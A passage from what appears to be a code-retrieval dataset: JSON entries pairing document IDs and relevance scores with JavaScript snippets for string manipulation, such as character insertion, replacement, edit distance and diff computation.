&dtrif; &blacktriangledown;*/\n\tvar openedTriangle = String.fromCharCode(9662) /*\"&#x025BE\"; \"&rtrif; &blacktriangleright;*/\n\tvar newString = string;\n\tvar char = string.substring(0,1);\n\tif (char == closedTriangle || char == openedTriangle){\n\t \tnewString = string.replace(char, twistyCharacter);\n\t}\n\treturn newString;\n}", "title": "" }, { "docid": "46917542c9b2671b3c8cbbaa206bb798", "score": "0.58570635", "text": "function mutateMyStrings(stringOne, stringTwo){\n let final = stringOne + \"\\n\";\n let working = stringOne.split(\"\");\n for (let i=0; i<stringOne.length; i++) {\n if (stringOne[i] !== stringTwo[i]) {\n working[i] = stringTwo[i];\n final+=working.join(\"\") + \"\\n\";\n }\n }\n return final;\n}", "title": "" }, { "docid": "ec75d88bce035828d70ad3457b1f4fc7", "score": "0.5849263", "text": "function replaceAllCharacter() {\n var string = document.getElementById('repAllString').value;\n var originalString = document.getElementById('repAllString').value;\n var character = document.getElementById('repAllFirstCharacter').value;\n var character2 = document.getElementById('repAllSecondCharacter').value;\n var occurance = [];\n \n var newSegment = '<strong>Please enter both string and character!</strong>';\n if (string=='' || character=='') {\n document.getElementById('alert21').innerHTML = newSegment;\n document.getElementById('alert21').className = 'alert alert-danger text-center';\n }\n else {\n for (var i=0; i<string.length; i++) {\n if (string[i].toLowerCase() == character) {\n string = string.slice(0, i) + character2 + string.slice(i+1, string.length);\n }\n }\n occurance = originalString.toLowerCase().indexOf(character.toLowerCase());\n if (occurance == -1) {\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br> Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br><strong> Character Not Found!</strong>';\n } \n else {\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br>First Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br> New String: <strong>\"' + string + '\"</strong>';\n }\n\n \n document.getElementById('alert21').innerHTML = newSegment;\n document.getElementById('alert21').className = 'alert alert-success text-center';\n }\n}", "title": "" }, { "docid": "6ed8a9819abe9c8b80e43b9be166e116", "score": "0.578157", "text": "function insert(input, str) {\n input.focus();\n let n = input.selectionStart;\n let front = input.value.slice(0,input.selectionStart);\n let back = input.value.slice(input.selectionEnd);\n input.value = front + str + back;\n input.selectionStart = n+1;\n input.selectionEnd = n+1;\n}", "title": "" }, { "docid": "c8d91d78bd795f7ed7aaa981146125eb", "score": "0.57789993", "text": "function oneAway(strA, strB){\n let editions = 0;\n\n let i = 0;\n let j = 0;\n\n while (i < strA.length || j < strB.length){\n // remove\n if (strA[i] !== strB[j] && strA[i+1] === strB[j]){\n editions++\n i++\n } \n // replace\n else if (strA[i] !== strB[j] && strA[i] !== 'undefined'){\n editions++;\n } \n // insert\n else if (strA[i] === 'undefined' && strB[j]){\n editions++\n }\n\n i++;\n j++;\n\n }\n\n if (editions <= 1){\n return true\n } else {\n return false\n }\n\n}", "title": "" }, { "docid": "e9df1e7cf762351bdbc3d11ddeba27fc", "score": "0.5707054", "text": "function insertString(str,newStr,begIndex, endIndex) {\n return str.substring(0,begIndex).concat(newStr).concat(str.substring(endIndex));\n }", "title": "" }, { "docid": "6b3a1b720d24a5ea65dd188cb5a91567", "score": "0.56956804", "text": "function concat2equal(string1, string2) {\n\n //get difference in length between the two strings\n \n diff = Math.abs(string1.length - string2.length)\n\n // Make the strings the same length, if they aren't already\n if ((string1.length) > (string2.length)) {\n string1 = string1.substring(0, (string1.length - diff))\n \n } else if ((string2.length) > (string1.length)) {\n string2 = string2.substring(0, (string2.length - diff))\n \n }\n\n //glue the strings together and spit out the result\n\n newstring = string1 + string2\n console.log(\"The new string is \\'\" + newstring + \"\\'.\")\n}", "title": "" }, { "docid": "b2510e4e6f7e526722e05a0eb33236ec", "score": "0.5690955", "text": "addChar(char) {\n if (this.state.updated) {\n const input = this.state.input + char.toString();\n this.setState({\n input: input,\n });\n } else {\n this.setState({\n input: char,\n updated: true,\n });\n }\n }", "title": "" }, { "docid": "c8f6bb6b5d86d92840d9c744bae15483", "score": "0.5685206", "text": "function diffsOneCharPos(s1, s2) {\r\n const l = s1.length;\r\n if (l !== s2.length) {\r\n return;\r\n }\r\n let foundIndex;\r\n for (let i = 0; i < l; ++i) {\r\n if (s1[i] !== s2[i]) {\r\n if (foundIndex !== undefined) {\r\n return;\r\n }\r\n foundIndex = i;\r\n }\r\n }\r\n return foundIndex;\r\n}", "title": "" }, { "docid": "d75bc7e9c92e6d91c31d52b414109fc9", "score": "0.56524307", "text": "insert(ch, n = 0){\n var {input, cursor} = this.state;\n ch = this.validateInput(ch);\n var start = cursor-n;\n\n var before = input.slice(0, start) + ch;\n var after = input.slice(cursor);\n \n this.setState({\n input: before + after,\n cursor: before.length,\n typed: true,\n })\n }", "title": "" }, { "docid": "0d75ec2f7894bb45db642d54ce7f8f64", "score": "0.5650384", "text": "function getNewCharPosL(value, oldvalue) {\n var i=0;\n for(i=0; i<value.length && i<oldvalue.length; i++) {\n if(value.charAt(i) != oldvalue.charAt(i)) {\n break;\n }\n }\n return i;\n}", "title": "" }, { "docid": "ba7c62e47f77f0e60e4141ddcde242f5", "score": "0.5624471", "text": "function insertChar(str, char, pos){\n return [str.slice(0, pos), char, str.slice(pos)].join('');\n }", "title": "" }, { "docid": "3c26d4c91133cdba00b441d0487ab0d9", "score": "0.5623411", "text": "function execEditLength(){for(var diagonalPath=-1*editLength;diagonalPath<=editLength;diagonalPath+=2){var basePath=/*istanbul ignore start*/void 0/*istanbul ignore end*/;var addPath=bestPath[diagonalPath-1],removePath=bestPath[diagonalPath+1],_oldPos=(removePath?removePath.newPos:0)-diagonalPath;if(addPath){// No one else is going to attempt to use this value, clear it\nbestPath[diagonalPath-1]=undefined;}var canAdd=addPath&&addPath.newPos+1<newLen,canRemove=removePath&&0<=_oldPos&&_oldPos<oldLen;if(!canAdd&&!canRemove){// If this path is a terminal then prune\nbestPath[diagonalPath]=undefined;continue;}// Select the diagonal that we want to branch from. We select the prior\n// path whose position in the new string is the farthest from the origin\n// and does not pass the bounds of the diff graph\nif(!canAdd||canRemove&&addPath.newPos<removePath.newPos){basePath=clonePath(removePath);self.pushComponent(basePath.components,undefined,true);}else{basePath=addPath;// No need to clone, we've pulled it from the list\nbasePath.newPos++;self.pushComponent(basePath.components,true,undefined);}_oldPos=self.extractCommon(basePath,newString,oldString,diagonalPath);// If we have hit the end of both strings, then we are done\nif(basePath.newPos+1>=newLen&&_oldPos+1>=oldLen){return done(buildValues(self,basePath.components,newString,oldString,self.useLongestToken));}else{// Otherwise track this path as a potential candidate and continue.\nbestPath[diagonalPath]=basePath;}}editLength++;}// Performs the length of edit iteration. Is a bit fugly as this has to support the", "title": "" }, { "docid": "c6ac733e5be3d3deb69d34465a4d2d00", "score": "0.56164", "text": "function editDistance(str1, str2, str1Len = str1.length, str2Len = str2.length) {\n const memo = [];\n\n for (let i = 0; i <= str1Len; i++) {\n memo.push([]);\n memo[i].push(new Array(str2Len));\n for (let j = 0; j <= str2Len; j++) {\n if (i === 0) {\n memo[i][j] = j;\n } else if (j === 0) {\n memo[i][j] = i;\n } else if (str1[i - 1] === str2[j - 1]) {\n memo[i][j] = memo[i - 1][j - 1];\n } else {\n /* if not equal, take the minmum of all operations, Insert, Delete, Replace*/\n memo[i][j] = 1 + Math.min(memo[i - 1][j], memo[i][j - 1], memo[i - 1][j - 1]);\n }\n }\n }\n /* return the bottom right value */\n return memo[str1Len][str2Len];\n}", "title": "" }, { "docid": "4a7348ffb8031d190dbb6e78df070c8b", "score": "0.5612286", "text": "function removeChar(string, position){\n console.log(\"Exercise 3:\")\n string = string.slice(0, position) + string.slice(position+1);\n return console.log(string)\n}", "title": "" }, { "docid": "6e969d9fa6bda09edd6b7e39e979c74a", "score": "0.5590281", "text": "function stringChange1 ( testString ) {\n\nconst len=testString.length;\nlet newArr,temp;\n\n if ( len >= 1){\n\n newArr=testString.split('');\n temp = newArr[0];\n newArr.splice(0,0,temp);\n newArr.splice(len+1,0,temp);\n\n return newArr.join('');\n \n }\n\n}", "title": "" }, { "docid": "d14ad177a14b313d6c935db57fb0ea81", "score": "0.5582532", "text": "function strInsert(str, strToBeInserted, atIndex) {\n return str.slice(0, atIndex) + strToBeInserted + \" \" + str.slice(atIndex);\n}", "title": "" }, { "docid": "eec08a3620995659576f8d67cd064253", "score": "0.55699563", "text": "function setCharAt(str, index, chr) {\r\n if (index > str.length - 1) return str;\r\n return str.substring(0, index) + chr + str.substring(index + 1);\r\n}", "title": "" }, { "docid": "6dd5bbf50bdd50d8c0262e7df04b4e9a", "score": "0.5568416", "text": "function TextInput(element) {\n \"use strict\";\n this.element = element;\n this.CHR_INPUT_POSITION = \"|\";\n\n this.postprocessText = function () {\n element.innerHTML = this.element.textContent.replace(this.CHR_INPUT_POSITION, \"<span style='color:lightgray'>\" + this.CHR_INPUT_POSITION + \"<\\/span>\");\n };\n\n this.getText = function () {\n return this.element.textContent.replace(this.CHR_INPUT_POSITION, \"\");\n };\n\n this.setText = function (text) {\n this.element.textContent = text + this.CHR_INPUT_POSITION;\n this.postprocessText();\n };\n\n this.activate = function () {\n this.setText(this.getText());\n };\n\n this.deactivate = function () {\n this.element.textContent = this.getText();\n };\n\n this.goLeft = function () {\n this.setTextPosition(Math.max(0, this.getTextPosition() - 1));\n };\n\n this.goRight = function () {\n this.setTextPosition(Math.min(this.element.textContent.length - 1, this.getTextPosition() + 1));\n };\n\n this.getTextPosition = function () {\n return this.element.textContent.indexOf(this.CHR_INPUT_POSITION);\n };\n\n this.setTextPosition = function (index) {\n var oldText, leftText, rightText;\n oldText = this.getText();\n leftText = oldText.substr(0, index);\n rightText = oldText.substr(index);\n this.element.textContent = leftText + this.CHR_INPUT_POSITION + rightText;\n this.postprocessText();\n };\n\n this.insertCharacter = function (character) {\n this.element.textContent = this.element.textContent.replace(this.CHR_INPUT_POSITION, character + this.CHR_INPUT_POSITION);\n this.postprocessText();\n };\n\n this.deleteCharacter = function () {\n var oldText, index, leftText, rightText;\n oldText = this.getText();\n index = this.getTextPosition();\n leftText = oldText.substr(0, index);\n rightText = oldText.substr(index);\n if (0 < leftText.length) {\n leftText = leftText.substr(0, leftText.length - 1);\n this.element.textContent = leftText + this.CHR_INPUT_POSITION + rightText;\n this.postprocessText();\n }\n };\n\n this.setText(\"\");\n}", "title": "" }, { "docid": "3d8c1dfe937ab45485a101203ecdfe39", "score": "0.55668485", "text": "function setCharAt(str,index,chr) {\n\tif(index > str.length-1) return str;\n\tif(index == -1)\treturn str + chr;\n return str.substr(0,index) + chr + str.substr(index+1);\n}", "title": "" }, { "docid": "33da8b70d8cc8ed17d2e0cde9cbae97b", "score": "0.5565224", "text": "function stringAlignment(str1, str2) {\n var length1 = str1.length,\n length2 = str2.length,\n cache = [], i, j;\n/* original code. I switched the word positions so that it's similar to editDistance\n // initialize cache\n for (i = 0; i <= length1; i++) {\n cache[i] = [];\n for (j = 0; j <= length2; j++) {\n cache[i][j] = 0;\n }\n }\n\n for (i = 0; i <= length1; i++) {\n cache[i][0] = i * -1;\n }\n for (i = 0; i <= length2; i++) {\n cache[0][i] = i * -1;\n }\n\n for (i = 1; i <= length1; i++) {\n for (j = 1; j <= length2; j++) {\n // match = 2 points, mismatch = -1 point\n cache[i][j] = cache[i - 1][j - 1] + (str1[i - 1] === str2[j - 1] ? 2 : -1); // cost for match or mismatch\n // insert/delete = -1 point\n cache[i][j] = Math.max(cache[i][j], cache[i - 1][j] - 1); // delete\n cache[i][j] = Math.max(cache[i][j], cache[i][j - 1] - 1); // insert\n }\n } */\n // initialize cache\n for (i = 0; i <= length2; i++) {\n cache[i] = [];\n for (j = 0; j <= length1; j++) {\n cache[i][j] = 0;\n }\n }\n\n for (i = 0; i <= length1; i++) {\n cache[0][i] = i;\n }\n for (i = 0; i <= length2; i++) {\n cache[i][0] = i;\n }\n\n for (i = 1; i <= length2; i++) {\n for (j = 1; j <= length1; j++) {\n // match = 2 points, mismatch = -1 point\n cache[i][j] = cache[i - 1][j - 1] + (str1[i - 1] === str2[j - 1] ? 2 : -1); // cost for match or mismatch\n // insert/delete = -1 point\n cache[i][j] = Math.max(cache[i][j], cache[i - 1][j] - 1); // insert?\n cache[i][j] = Math.max(cache[i][j], cache[i][j - 1] - 1); // delete?\n }\n }\n\n return cache[i - 1][j - 1]; // or cache[length1][length2]\n}", "title": "" }, { "docid": "6a0bd51fd4a46834792835d07e8f57be", "score": "0.554302", "text": "function markAddedChars(char, j) {\n return {\n char,\n isNew: j >= indexOfFirstChange && j < indexOfLastChange\n };\n }", "title": "" }, { "docid": "174191c465243cf54133c12750086d60", "score": "0.5536004", "text": "function solution4(str1, str2) {\n let count=0;\n while(str1=str1.replace(str2)){\n count++;\n }\n return count;\n}", "title": "" }, { "docid": "15e2a8919fd8b84a34cb3cbf8aa2e2c7", "score": "0.5528969", "text": "function OneEditApart(word1, word2) {\n \n if (word1.length - word2.length > 2 || word2.length - word1.length > 2){\n return false;\n } \n // must be less than 2 .length units apart\n \n if (word1.length !== word2.length){\n let shorter = word1.length < word2.length ? word1: word2;\n let longer = word1.length > word2.length ? word1 : word2;\n \n let count =0;\n for (let i =0, j=0; i < shorter.length;j++, i++){\n if (count >=2){\n return false;\n }\n if (shorter[i] !== longer[j]){\n count++;\n i--;\n \n }\n }\n \n } else if (word1.length === word2.length){\n let sameLengthCount = 0;\n \n for (let k =0; k < word1.length; k++){\n if (sameLengthCount >=2){\n return false;\n }\n if (word1[k] !== word2[k]){\n sameLengthCount++;\n }\n }\n }\n \n return true; \n }", "title": "" }, { "docid": "a93b6d79f7806b30518553572b3dcb9a", "score": "0.5523585", "text": "function setCharAt(str, index, chr) {\n if (index > str.length-1) \n return str;\n\n return str.substring(0,index) + chr + str.substring(index+1);\n}", "title": "" }, { "docid": "72c4301c708b6336d7da4209ad3bc750", "score": "0.5514036", "text": "function min_edit(a, b) {\n \n if(a.length === 0) return b.length; \n if(b.length === 0) return a.length; \n \n var matrix = [];\n \n // increment along the first column of each row\n for(var i = 0; i <= b.length; i++) {\n matrix[i] = [i];\n }\n \n // increment each column in the first row\n for(var j = 0; j <= a.length; j++) {\n matrix[0][j] = j;\n }\n \n // Fill in the rest of the matrix\n for(var i = 1; i <= b.length; i++) {\n for(var j = 1; j <= a.length; j++) {\n if(b.charAt(i-1) == a.charAt(j-1)){\n matrix[i][j] = matrix[i-1][j-1];\n } else {\n matrix[i][j] = 1 + Math.min(\n matrix[i-1][j-1], // substitution\n matrix[i][j-1] , // insertion\n matrix[i-1][j] // deletion\n ); \n }\n }\n }\n \n return matrix[b.length][a.length];\n}", "title": "" }, { "docid": "52671b204902b71cb9b20c0ba97e9a3b", "score": "0.5512107", "text": "function replaceCharX(text, index, newChar) {\n return text.substring(0, index) + newChar + \n text.substring(index +1);\n }", "title": "" }, { "docid": "9fb129cc8fe60ee9527f2264b199f008", "score": "0.5510516", "text": "function enteringString(cm, pos, ch) {\n\t var line = cm.getLine(pos.line);\n\t var token = cm.getTokenAt(pos);\n\t if (/\\bstring2?\\b/.test(token.type)) return false;\n\t var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n\t stream.pos = stream.start = token.start;\n\t for (;;) {\n\t var type1 = cm.getMode().token(stream, token.state);\n\t if (stream.pos >= pos.ch + 1) return (/\\bstring2?\\b/.test(type1)\n\t );\n\t stream.start = stream.pos;\n\t }\n\t }", "title": "" }, { "docid": "8b865e76295367e2c41ed3e07e14619d", "score": "0.5509502", "text": "function getNewCharPosR(value, oldvalue) {\n var i=value.length-1;\n var j=oldvalue.length-1;\n var k=0;\n for(k=0; i>=0 && j>=0; i--, j--, k++) {\n if(value.charAt(i) != oldvalue.charAt(j)) {\n break;\n }\n }\n return k;\n}", "title": "" }, { "docid": "e4ad95ea1f392c199ee649dde2afc2ae", "score": "0.5506154", "text": "function enteringString(cm, pos, ch) {\n\t var line = cm.getLine(pos.line);\n\t var token = cm.getTokenAt(pos);\n\t if (/\\bstring2?\\b/.test(token.type)) return false;\n\t var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n\t stream.pos = stream.start = token.start;\n\t for (;;) {\n\t var type1 = cm.getMode().token(stream, token.state);\n\t if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n\t stream.start = stream.pos;\n\t }\n\t }", "title": "" }, { "docid": "b4a019f3a09cce2a2a3dcc014a9b0733", "score": "0.55059004", "text": "function editEnd(from, to) {\n if (!to) return from ? from.length : 0;\n if (!from) return to.length;\n for (var i = from.length, j = to.length; i >= 0 && j >= 0; --i, --j)\n if (from.charAt(i) != to.charAt(j)) break;\n return j + 1;\n }", "title": "" }, { "docid": "d5378aa763ac2f2ad571e2a980fcb06c", "score": "0.55038", "text": "function editEnd(from, to) {\n if (!to) return 0;\n if (!from) return to.length;\n for (var i = from.length, j = to.length; i >= 0 && j >= 0; --i, --j)\n if (from.charAt(i) != to.charAt(j)) break;\n return j + 1;\n }", "title": "" }, { "docid": "d5378aa763ac2f2ad571e2a980fcb06c", "score": "0.55038", "text": "function editEnd(from, to) {\n if (!to) return 0;\n if (!from) return to.length;\n for (var i = from.length, j = to.length; i >= 0 && j >= 0; --i, --j)\n if (from.charAt(i) != to.charAt(j)) break;\n return j + 1;\n }", "title": "" }, { "docid": "d5378aa763ac2f2ad571e2a980fcb06c", "score": "0.55038", "text": "function editEnd(from, to) {\n if (!to) return 0;\n if (!from) return to.length;\n for (var i = from.length, j = to.length; i >= 0 && j >= 0; --i, --j)\n if (from.charAt(i) != to.charAt(j)) break;\n return j + 1;\n }", "title": "" }, { "docid": "a982d83140d7d37babb6ded67cd3727a", "score": "0.54914635", "text": "function replaceAt(index) {\n let charIndex = 0;\n while (\n alphabet[charIndex] === s[index - 1] ||\n alphabet[charIndex] === s[index + 1]\n ) {\n charIndex++;\n }\n\n s = s.slice(0, index) + alphabet[charIndex] + s.slice(index + 1);\n }", "title": "" }, { "docid": "af3ec67dc290e15d0d20c473dff27213", "score": "0.5475501", "text": "function setStringAt(str,index,oldString,newString) {\n if(index > str.length-1) return str;\n var t=oldString.length;\n return str.substr(0,index) + newString + str.substr(index+t);\n}", "title": "" }, { "docid": "2e1166e9e42cc3faf49b3f2b8555951c", "score": "0.5473668", "text": "function copyString(s1, s2, index)\n{\n\t\n\t// Copying each character from s1 to s2\n\ts2[index] = s1[index];\n\n\t// If string reach to end then stop\n\tif (index == s1.length - 1)\n\t{\n\t\treturn;\n\t}\n\t\n\t// Increase character index by one\n\tcopyString(s1, s2, index + 1);\n}", "title": "" }, { "docid": "5c5790229f6e60f455c066f786bbf98f", "score": "0.5468115", "text": "function remove_character(str, char_pos)\n{\n part1 = str.substring(0, char_pos);\n part2 = str.substring(char_pos + 1, str.length);\n return(part1 + part2);\n}", "title": "" }, { "docid": "85d6353594043b8d14fc4ba5a09c8e9b", "score": "0.54677445", "text": "function test() {\n console.time(\"Set: \");\n twoStrings2(\n \"xvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvb\",\n \"tytytytytytytytytytytytytytytytytytytytytyb\"\n );\n console.timeEnd(\"Set: \");\n console.time(\"String: \");\n twoStrings(\n \"xvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvxvb\",\n \"tytytytytytytytytytytytytytytytytytytytytyb\"\n );\n console.timeEnd(\"String: \");\n}", "title": "" }, { "docid": "1e771966a036fedb64bfc1db170c3dcd", "score": "0.54616505", "text": "function removeCharacter() {\n var string = document.getElementById('remString').value;\n var originalString = document.getElementById('remString').value;\n var character = document.getElementById('remCharacter').value;\n var occurance;\n \n var newSegment = '<strong>Please enter both string and character!</strong>';\n if (string=='' || character=='') {\n document.getElementById('alert15').innerHTML = newSegment;\n document.getElementById('alert15').className = 'alert alert-danger text-center';\n }\n else {\n occurance = string.toLowerCase().indexOf(character.toLowerCase());\n if (occurance == -1) {\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br> Character: <strong>\"' + \n character + '\"</strong><br><strong> Character Not Found!</strong>';\n } \n else {\n string = string.slice(0, occurance) + string.slice(occurance+1, occurance.length);\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br> Character: <strong>\"' + \n character + '\"</strong><br> New String: <strong>\"' + string + '\"</strong>';\n }\n\n \n document.getElementById('alert15').innerHTML = newSegment;\n document.getElementById('alert15').className = 'alert alert-success text-center';\n }\n}", "title": "" }, { "docid": "44c84f7348e68cc593bb5efa962108a2", "score": "0.54477584", "text": "function setCharAt(str,index,chr) {\n if(index > str.length-1) return str;\n return str.substr(0,index) + chr + str.substr(index+1);\n}", "title": "" }, { "docid": "24238f8b0d3b38f8786cc8b31c45fc35", "score": "0.544568", "text": "function LetterChanges2(str) { \r\n\r\n // code goes here \r\n var letter_lookup = {};\r\n for(var i = 65; i < 90; i++){\r\n letter_lookup[String.fromCharCode(i)] = String.fromCharCode(i+1);\r\n letter_lookup[String.fromCharCode(i+32)] = String.fromCharCode(i+33);\r\n }\r\n letter_lookup['Z'] = 'A';\r\n letter_lookup['z'] = 'A';\r\n \r\n var newStr = '';\r\n var letter = '';\r\n for(i = 0; i < str.length; i++){\r\n letter = str[i];\r\n if(letter in letter_lookup){\r\n letter = letter_lookup[str[i]];\r\n if(/[eiou]/.test(letter)){\r\n letter = letter.toUpperCase();\r\n }\r\n }\r\n newStr = newStr.concat(letter);\r\n }\r\n str = newStr;\r\n return str;\r\n}", "title": "" }, { "docid": "b8b1cc02237bcdbdf507b782d9aaf861", "score": "0.5442954", "text": "function enteringString(cm, pos, ch) {\n var line = cm.getLine(pos.line);\n var token = cm.getTokenAt(pos);\n if (/\\bstring2?\\b/.test(token.type)) return false;\n var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n stream.pos = stream.start = token.start;\n for (;;) {\n var type1 = cm.getMode().token(stream, token.state);\n if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n stream.start = stream.pos;\n }\n }", "title": "" }, { "docid": "b8b1cc02237bcdbdf507b782d9aaf861", "score": "0.5442954", "text": "function enteringString(cm, pos, ch) {\n var line = cm.getLine(pos.line);\n var token = cm.getTokenAt(pos);\n if (/\\bstring2?\\b/.test(token.type)) return false;\n var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n stream.pos = stream.start = token.start;\n for (;;) {\n var type1 = cm.getMode().token(stream, token.state);\n if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n stream.start = stream.pos;\n }\n }", "title": "" }, { "docid": "596b38f52341833c213c30b712ffd500", "score": "0.543904", "text": "function insertString(string, insertion, n) {\n n = n || 1;\n var newString = function () {\n var output = \"\";\n var stringBeginning = function () {\n var output = \"\";\n for (var i = 0; i < n - 1; i++) {\n output += string[i];\n }\n return output;\n }\n var stringEnding = function () {\n var output = \"\";\n for (var i = n - 1; i < string.length; i++) {\n output += string[i];\n }\n return output;\n }\n output += stringBeginning() + insertion + stringEnding();\n return output;\n }\n return newString();\n}", "title": "" }, { "docid": "2d845fa49dc66685b75a521bfa652335", "score": "0.5437102", "text": "TrackReplace(str, where, oldLen, newLen)\n {\n this.createUndo(UndoOp.Replace, where, oldLen, newLen, str);\n }", "title": "" }, { "docid": "167a36793ec3ed7e256f8f77bdd61a8d", "score": "0.5422151", "text": "function execEditLength() {\n for (var diagonalPath = -1*editLength; diagonalPath <= editLength; diagonalPath+=2) {\n var basePath;\n var addPath = bestPath[diagonalPath-1],\n removePath = bestPath[diagonalPath+1];\n oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;\n if (addPath) {\n // No one else is going to attempt to use this value, clear it\n bestPath[diagonalPath-1] = undefined;\n }\n\n var canAdd = addPath && addPath.newPos+1 < newLen;\n var canRemove = removePath && 0 <= oldPos && oldPos < oldLen;\n if (!canAdd && !canRemove) {\n // If this path is a terminal then prune\n bestPath[diagonalPath] = undefined;\n continue;\n }\n\n // Select the diagonal that we want to branch from. We select the prior\n // path whose position in the new string is the farthest from the origin\n // and does not pass the bounds of the diff graph\n if (!canAdd || (canRemove && addPath.newPos < removePath.newPos)) {\n basePath = clonePath(removePath);\n self.pushComponent(basePath.components, undefined, true);\n } else {\n basePath = addPath; // No need to clone, we've pulled it from the list\n basePath.newPos++;\n self.pushComponent(basePath.components, true, undefined);\n }\n\n var oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos+1 >= newLen && oldPos+1 >= oldLen) {\n return done(buildValues(basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" }, { "docid": "f0f9939fad3019da30eacfa43717bf5f", "score": "0.5395897", "text": "function kup(ndx){var t = document.getElementById('ES').value;\n if(ES[ndx].str != t){ES[ndx].str = t;}else{editNdx = -1; repaint();}\n}", "title": "" }, { "docid": "0a1f43add99458138a5b5513016d783c", "score": "0.53941166", "text": "function enteringString(cm, pos, ch) {\n var line = cm.getLine(pos.line);\n var token = cm.getTokenAt(pos);\n if (/\\bstring2?\\b/.test(token.type) || stringStartsAfter(cm, pos)) return false;\n var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n stream.pos = stream.start = token.start;\n for (;;) {\n var type1 = cm.getMode().token(stream, token.state);\n if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n stream.start = stream.pos;\n }\n }", "title": "" }, { "docid": "0a1f43add99458138a5b5513016d783c", "score": "0.53941166", "text": "function enteringString(cm, pos, ch) {\n var line = cm.getLine(pos.line);\n var token = cm.getTokenAt(pos);\n if (/\\bstring2?\\b/.test(token.type) || stringStartsAfter(cm, pos)) return false;\n var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n stream.pos = stream.start = token.start;\n for (;;) {\n var type1 = cm.getMode().token(stream, token.state);\n if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n stream.start = stream.pos;\n }\n }", "title": "" }, { "docid": "0a1f43add99458138a5b5513016d783c", "score": "0.53941166", "text": "function enteringString(cm, pos, ch) {\n var line = cm.getLine(pos.line);\n var token = cm.getTokenAt(pos);\n if (/\\bstring2?\\b/.test(token.type) || stringStartsAfter(cm, pos)) return false;\n var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);\n stream.pos = stream.start = token.start;\n for (;;) {\n var type1 = cm.getMode().token(stream, token.state);\n if (stream.pos >= pos.ch + 1) return /\\bstring2?\\b/.test(type1);\n stream.start = stream.pos;\n }\n }", "title": "" }, { "docid": "0762271a026bb09e73a957045dad9e4d", "score": "0.539235", "text": "function remove_character(str, char_pos) \n {\n part1 = str.substring(0, char_pos);\n part2 = str.substring(char_pos + 1, str.length);\n return (part1 + part2);\n }", "title": "" }, { "docid": "7887b34cf5e3ad45d8e55f43c444a91b", "score": "0.53905725", "text": "function replaceCode(node, str) {\n var start = getOffset(node.range[0]),\n end = getOffset(node.range[1]),\n insert = 0;\n // Sort insertions by their offset, so getOffest() can do its thing\n for (var i = insertions.length - 1; i >= 0; i--) {\n if (start > insertions[i][0]) {\n insert = i + 1;\n break;\n }\n }\n insertions.splice(insert, 0, [start, str.length - end + start]);\n code = code.substring(0, start) + str + code.substring(end);\n }", "title": "" }, { "docid": "d6ef3ceb47b7964cc18ad947415b2728", "score": "0.5378975", "text": "function setCharAt (str, index, chr) {\n if (index > str.length - 1) {\n return str;\n }\n return str.substr (0, index) + chr + str.substr (index + 1);\n}", "title": "" }, { "docid": "4c891b6158a73caca92bb3495be6bdd1", "score": "0.53712094", "text": "_setNextText( callback ) {\n let text = this._nextText();\n let len = text.length;\n if( len !== this.text.length ) throw new Error(\"Length of old and new text must be the same\");\n let interval = this._options.interval.inserting;\n for( var charIdx = 0; charIdx < len; charIdx++ ) {\n setTimeout(\n this._changeCharacter.bind( this, charIdx, text.charAt( charIdx ) ),\n ( interval / len ) * charIdx\n )\n if( charIdx == len - 1 ) setTimeout( callback, interval );\n }\n }", "title": "" }, { "docid": "2c67534b506a0245dd0fd2e7956a6090", "score": "0.5368713", "text": "function insert(str, sub = '', pos = 0) {\n var p1 = str.slice(0, pos);\n var p3 = str.slice(pos);\n return p1 + sub + p3;\n}", "title": "" }, { "docid": "260d3cb0dd47988531ceecf94237e8ea", "score": "0.5367008", "text": "function handleChange(){\n currentText = document.querySelectorAll('.added');\n var newText = input.value;\n if (newText == oldText) return;\n else oldText = newText;\n\n // set(reversed, reverse(newText));\n // set(count, 'You entered '+newText.length+' characters.');\n set(currentText, newText);\n // set(t, newText)\n }", "title": "" }, { "docid": "0ef12472fd9077899247563c4710ec3f", "score": "0.53628933", "text": "function replaceCharAt(input, index, char) {\n return input.substring(0, index) + char + input.substring(index + 1);\n}", "title": "" }, { "docid": "6ef641ed22122ea5846cdd4a65abe34a", "score": "0.5361735", "text": "function fix1(s, a, b) {\n while (s && s.indexOf(a) >= 0)\n s = s.replace(a, b);\n return s;\n}", "title": "" }, { "docid": "9d01010b36c9e0885868d9861c26bf5e", "score": "0.5357683", "text": "function ejercicio4(){\n const getSubstring=(phraseComplete,oldSubstring,newSubstring)=>{\n let newPhrase=\"\"\n for (let x=0;x<phraseComplete.length;x++){\n if (phraseComplete.substring(x,x+oldSubstring.length)==oldSubstring){\n 